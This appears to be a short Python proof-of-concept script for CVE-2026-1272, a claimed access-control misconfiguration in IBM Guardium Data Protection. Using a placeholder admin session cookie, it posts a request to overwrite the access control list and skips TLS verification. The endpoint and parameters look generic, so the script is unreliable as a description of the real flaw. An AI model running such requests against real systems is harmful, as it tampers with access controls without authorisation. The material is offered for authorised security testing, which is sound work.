The following code is for security research and authorized testing only.
python
import requests
# CVE-2026-1272 PoC Concept
# This script demonstrates checking for the security misconfiguration
# in the IBM Guardium Data Protection user access control panel.
# Note: High privileges (PR:H) are required to exploit this vulnerability.
target_url = "https://<target-ip>:<port>/guardium/access_control/panel"
session_cookie = "<valid_high_privilege_session_id>" # Requires Admin/High Privilege session
headers = {
"Cookie": f"JSESSIONID={session_cookie}",
"Content-Type": "application/x-www-form-urlencoded"
}
# Payload attempting to modify a configuration setting that should be restricted
payload = {
"action": "update_config",
"parameter": "access_control_list",
"value": "malicious_override_value"
}
try:
response = requests.post(target_url, data=payload, headers=headers, verify=False, timeout=10)
if response.status_code == 200:
print("[+] Request sent successfully.")
if "success" in response.text or "configuration updated" in response.text.lower():
print("[+] Potential Security Misconfiguration detected: Settings modified.")
else:
print("[-] Settings modification returned unexpected response.")
else:
print(f"[-] Server returned status code: {response.status_code}")
except requests.exceptions.RequestException as e:
print(f"[-] An error occurred: {e}")